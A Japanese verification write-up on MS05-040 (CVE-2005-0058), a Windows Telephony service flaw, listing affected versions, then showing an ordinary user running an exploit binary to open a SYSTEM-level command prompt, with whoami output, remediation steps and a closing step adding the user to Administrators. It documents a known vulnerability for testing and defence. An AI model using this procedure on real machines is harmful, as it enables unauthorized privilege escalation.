MS05-040:テレフォニーサービスの脆弱性により、リモートでコードが実行される

• 2006/03/15　参考URL CVE追加, 検証環境 Windows 2000 Advanced Server SP4日本語版 追加
  • Author grin
• 2006/03/15　初版
  • Author kikuzou

• 本手順のExploitはローカルでの攻撃コードである
• テレフォニーサービスの脆弱性により、特権の昇格が可能

• Microsoft Windows 2000 Service Pack 4
• Microsoft Windows XP Service Pack 1 および Microsoft Windows XP Service Pack 2
• Microsoft Windows XP Professional x64 Edition
• Microsoft Windows Server 2003 および Microsoft Windows Server 2003 Service Pack 1
• Microsoft Windows Server 2003 for Itanium-based Systems および Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
• Microsoft Windows Server 2003 x64 Edition
• Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE)、Microsoft Windows Millennium Edition (ME)

• Microsoft::テレフォニー サービスの脆弱性により、リモートでコードが実行される
• CVE-2005-0058

• Windows2000 Server SP4 日本語版
• Windows2000 Advanced Server SP4 日本語版

• 一般ユーザでログイン後、以下コマンドを実行する。

C:\>whoami
VM-W2K\user01

C:\>MS05-040.exe "cmd.exe"

• 別ウインドウでシステム権限のコマンドプロンプトが起動する。

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>whoami
NT AUTHORITY\SYSTEM

C:\WINNT\system32>

1. MS05-040 パッチの適用 (Windows Update の実施)
2. Telephonyサービスの停止
3. ユーザの厳格な管理
   • 不要なユーザを作成しない

• Usersグループのユーザ「user01」を Administratorsグループ に所属させる。